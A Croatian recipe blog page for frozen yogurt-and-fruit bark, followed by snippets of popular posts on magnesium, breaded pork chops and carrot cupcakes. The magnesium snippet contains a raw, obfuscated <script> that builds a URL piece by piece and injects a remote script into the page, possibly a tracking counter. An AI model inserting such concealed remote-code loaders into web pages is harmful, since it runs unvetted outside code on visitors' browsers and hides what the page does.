LEDENI ČIPS OD JOGURTA I VOĆA




Ledeni čips od jogurta i voća 



Kombinacija grčkog jogurta, svježeg voća i prirodnih zaslađivača donosi bogatstvo proteina, probiotika i antioksidansa, koji podržavaju zdravlje probave, jačaju imunitet i pomažu hidrataciji organizma tijekom vrućih ljetnih dana. Osim što je nutritivno uravnotežen, ovaj desert je i vizualno atraktivan, jednostavan za pripremu te ne zahtijeva pečenje. Upravo zato ledeni čips je savršen izbor za sve koji žele lagan, osvježavajući i zdrav ljetni desert bez osjećaja težine nakon obroka.



Ledeni čips od jogurta i voća 


Sastojci:

  • 400 g grčkog jogurta (ili običnog gustog jogurta)
  • 2–3 žlice meda ili javorovog sirupa
  • 1 žličica ekstrakta vanilije (po želji)
  • 1 šalica svježih jagoda (ili malina, borovnica)
  • 1 banana narezana na kolutiće
  • šaka granole ili zobenih pahuljica
  • šaka sjeckanih orašastih plodova (bademi, orasi, pistacije)
  • malo tamne čokolade (opcionalno)



Priprema:

  • U zdjeli pomiješaj grčki jogurt, med i vaniliju dok ne dobiješ glatku smjesu.
  • Na pleh obložen papirom za pečenje razmaži jogurt u tankom, ravnom sloju (oko 0,5 cm debljine).
  • Po vrhu rasporedi narezane jagode, bananu, granolu, orašaste plodove i po želji komadiće tamne čokolade.
  • Stavi u zamrzivač na 2–3 sata, dok se sve potpuno ne stisne.
  • Izvadi iz zamrzivača i razlomi ili nareži na “čips” komade nepravilnog oblika.


Savjeti za savršeni ledeni čips:
  • koristi što gušći jogurt za kremastu teksturu
  • dodaj sezonsko voće za bolji okus i više vitamina
  • čuvaj u zamrzivaču do 2 tjedna u zatvorenoj posudi
  • izvadi 2–3 minute prije konzumacije da omekša



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više